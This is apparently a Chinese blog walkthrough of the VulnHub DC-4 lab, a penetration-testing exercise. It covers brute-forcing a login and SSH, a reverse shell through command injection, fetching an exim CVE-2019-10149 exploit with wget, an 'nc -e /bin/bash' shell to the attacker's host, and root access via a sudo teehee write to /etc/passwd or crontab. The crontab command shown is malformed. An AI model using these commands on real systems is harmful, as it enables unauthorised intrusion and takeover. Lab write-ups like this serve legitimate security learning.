记一次vulnhub|渗透测试DC-4(常规和非预期提权思路)

DC-4


  • 0X01 Main Point
    1.Burpsuite爆破模块进行简单爆破
    2.Hydra爆破进行SSH连接
    3.CVE-2019-10149–exim漏洞进行本地提权
    4.teehee提权

  • 0X02 前期嗅探和端口探测

arp-scan -l    得到靶机IP地址

记一次vulnhub|渗透测试DC-4(常规和非预期提权思路)_第1张图片

namp -sV -A -p- 172.20.10.4  探测靶机开放端口

记一次vulnhub|渗透测试DC-4(常规和非预期提权思路)_第2张图片
目标只开放了80、22两个端口,先看页面:

记一次vulnhub|渗透测试DC-4(常规和非预期提权思路)_第3张图片在用完dirb、dirsearch、御剑扫完目录后确实没有其他可以利用的目录了,这里只能考虑从这个登录框入手,我们默认username为admin导入intruder进行爆破(选取一个合适的passwd字典):
记一次vulnhub|渗透测试DC-4(常规和非预期提权思路)_第4张图片
发现有很多密码都能进行登录,直接登录后发现:
记一次vulnhub|渗透测试DC-4(常规和非预期提权思路)_第5张图片
运行了指令,抓包得到:
记一次vulnhub|渗透测试DC-4(常规和非预期提权思路)_第6张图片
发现可以执行构造的指令,直接一个反弹shell,kali监听进行连接即可:
记一次vulnhub|渗透测试DC-4(常规和非预期提权思路)_第7张图片

python -c 'import pty;pty.spawn("/bin/bash")' 得到交互式Bash

记一次vulnhub|渗透测试DC-4(常规和非预期提权思路)_第8张图片
/home下发现有三个用户,jim用户可以看到backups文件夹,进入后得到jim用户历史密码:
记一次vulnhub|渗透测试DC-4(常规和非预期提权思路)_第9张图片
保存后直接hydra爆破得到jim的密码:

hydra -L jim -P '/root/jimpass' ssh://172.20.10.4 -t 10

记一次vulnhub|渗透测试DC-4(常规和非预期提权思路)_第10张图片

非预期提权思路

su切换到Jim用户后,ls -la打开mbox查看后发现是邮件,重点是exim–邮件传输代理服务器软件:
记一次vulnhub|渗透测试DC-4(常规和非预期提权思路)_第11张图片
这个版本对应有CVE-2019-10149, searchsploit exim直接将这个脚本放到kali机/var/www/html/getshell.sh下,service apache2 start开启服务器后,靶机切到/tmp路径下,wget http://172.20.10.8/getshell.sh下载这个脚本:
记一次vulnhub|渗透测试DC-4(常规和非预期提权思路)_第12张图片

chmod 777 getshell.sh   赋予可执行权限
busybox dos2unix getshell.sh 转化文件格式 

这里如何使用getshell.sh可以先查看对应的CVE,这里我们直接使用:

记一次vulnhub|渗透测试DC-4(常规和非预期提权思路)_第13张图片
得到root后:

nc -e /bin/bash 172.20.10.8 2333 #172.20.10.8是kali的IP,直接提权后得到flag

常规提权思路

su切换到Jim用户后,ls -la打开mbox查看后发现是邮件,那么mail后发现有一封邮件:
记一次vulnhub|渗透测试DC-4(常规和非预期提权思路)_第14张图片
得到charles用户的密码,切换到charles用户:

find / -perm -u=s -type f 2>/dev/null  查看SUID文件

记一次vulnhub|渗透测试DC-4(常规和非预期提权思路)_第15张图片
发现我们之前利用了的exim4,这里就是非预期提权方法了,这里假装没看到,其他的SUID程序都是很常规的,这里得不到信息。

sudo -l  查看可以以root权限执行的命令

记一次vulnhub|渗透测试DC-4(常规和非预期提权思路)_第16张图片
/usr/bin/teehee是啥呢?
记一次vulnhub|渗透测试DC-4(常规和非预期提权思路)_第17张图片
-a 命令可以附加到指定的文件上而不是覆盖,这里思路就很明确了,我们直接附加一个用户到/etc/passwd上,这个用户拥有root权限,然后在切换到这个用户即可。

echo "admin::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
#[用户名]:[密码]:[UID]:[GID]:[身份描述]:[主目录]:[登录shell]

| 在Linux中是管道,上一条命令的输出,作为下一条命令参数,这样成功在/etc/passwd上附加了admin用户(空密码)

记一次vulnhub|渗透测试DC-4(常规和非预期提权思路)_第18张图片
看到其他师傅的walkthrough上还有一种姿势:

通过定时任务执行脚本提权:

向/etc/crontab文件中写入新的定时任务,把时间全设置为*,这样就是每分钟执行一次,再将/bin/sh的权限设置为4777。
记一次vulnhub|渗透测试DC-4(常规和非预期提权思路)_第19张图片

echo '***** chmod 4777 /bin/sh | sudo teehee -a /etc/crontab' 写入定时任务

同样可以得到root权限。

以上就是本人所有的提权思路

你可能感兴趣的:(CTF实践)